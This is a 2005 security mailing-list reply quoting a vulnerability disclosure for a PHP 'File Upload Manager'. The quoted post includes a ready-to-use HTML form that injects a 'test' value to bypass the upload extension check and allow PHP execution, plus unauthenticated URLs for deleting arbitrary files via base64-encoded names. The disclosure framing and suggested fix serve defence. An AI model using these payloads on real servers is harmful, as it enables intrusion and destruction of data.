Re: File Upload Manager Sploits
after some digging on google, I've found that this refers to the "File
Upload Manager" at
http://www.mtnpeak.net/webdev/index.php?pg=php
rather than any number of other File Upload Managers. It's a common
name, please include a url or at least vendor name in future.
On 12 Jun 2005 22:22:45 -0000, blackshoe@xxxxxxxxx <blackshoe@xxxxxxxxx> wrote:
> Below is some code for a recent unpatched exploit for file managers using php
> as the base code. Share this with the world and help protect.
>
> File Upload Manager - Bypass File Extension and Arbitrary File Delete
> nothing to see here @ hackthissite.org
>
> Through an input validation flaw, users are able to upload files that are not
> on the approve extension list. This can potentially allow users to upload
> .php files and gain permissions of the web server to execute commands and
> scripts.
>
> The code that checks for invalid file extensions makes use of an
> uninitialized variable which you can inject values into:
>
> for($i=0;$i<count($file_ext_allow);$i++)
> {
> if (getlast($fileupload_name)!=$file_ext_allow[$i])
> $test.="~~";
> }
> $exp=explode("~~",$test);
>
> if (count($exp)==(count($file_ext_allow)+1))
> { // (do not upload) } else { // (upload) }
>
> With each mismatch, they add '~~' to the variable 'test' and then compare it
> to the count of the original valid file extensions array.
>
> Users can create an html form with an extra form variable 'test' with the
> value of '~~~~~~' which will allow you to bypass the extension validation:
>
> <form method="post" enctype="multipart/form-data"
> action="http://www.asdf.com/url/to/fileuploader/index.php";>
> file: <input type="file" name="fileupload" class="textfield" size="30">
> exxploitz: <input type="text" name="test" class="textfield" size="46"
> value="~~~~~~">
> <input type="submit" value="upload" class="button">
> </form>
>
> Fix: Use php's in_array() function to check to see if an extension is in the
> valid list.
>
>
> In an unrelated flaw, users are able to delete arbitrary files on the
> webserver by not checking authentication before passing it to delete
> functions.
>
> url to view a file: /index.php?act=view&file=d2VlLnBocC50eHQ=
> url to delete the same file: /index.php?act=del&file=d2VlLnBocC50eHQ=
>
> to choose what file to delete, just do base64_encode("filename");
>
--
Computing tools, PHP code, online tools and more at http://www.puremango.co.uk